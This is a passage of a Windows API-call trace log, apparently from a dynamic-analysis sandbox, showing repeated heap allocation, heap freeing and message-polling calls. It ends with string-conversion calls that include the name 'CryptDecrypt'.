hHeap=0xe80000) returned 1 [0133.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0133.036] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0133.037] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0133.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0133.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0133.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0133.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.037] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.037] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.038] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0133.038] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0133.038] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.038] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.038] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.038] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.038] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.038] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.038] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.038] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.038] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0133.039] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0133.039] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0133.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0133.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0133.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0133.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0133.039] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0133.040] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0133.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0133.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0133.040] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0133.041] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0133.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0133.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0133.041] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0133.042] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf348 [0133.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0133.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.042] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.042] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0133.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0133.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0133.043] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0133.043] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0133.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0133.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0133.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0133.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.044] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0133.044] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0133.044] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.044] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.044] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.045] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554d0 [0133.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554d0 | out: hHeap=0xe80000) returned 1 [0133.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.045] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.045] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.064] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.064] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.064] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.064] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.064] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0133.064] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0133.064] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.064] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0133.065] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.065] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0133.065] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.065] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.065] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.066] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.066] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0133.066] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.066] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0133.066] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.066] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.066] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.067] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0133.067] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0133.067] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.067] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.067] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0133.068] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0133.068] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.068] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.068] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9ad0 [0133.068] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0133.068] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.069] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.069] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0133.069] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0133.069] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf348 [0133.069] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0133.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9ad0 | out: hHeap=0xe80000) returned 1 [0133.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0133.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0133.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0133.070] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.070] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0133.070] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0133.070] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0133.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0133.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0133.070] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.070] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.071] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555f0 [0133.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555f0 | out: hHeap=0xe80000) returned 1 [0133.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0133.071] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0133.072] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.072] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.072] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.072] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055670 [0133.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0133.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.073] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.073] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.073] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.073] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.073] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.073] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0133.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0133.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.074] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.074] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.074] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.074] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.074] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.074] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.074] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.075] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.076] CharUpperBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="TRUE") returned 0x4 [0133.119] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0133.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDecrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 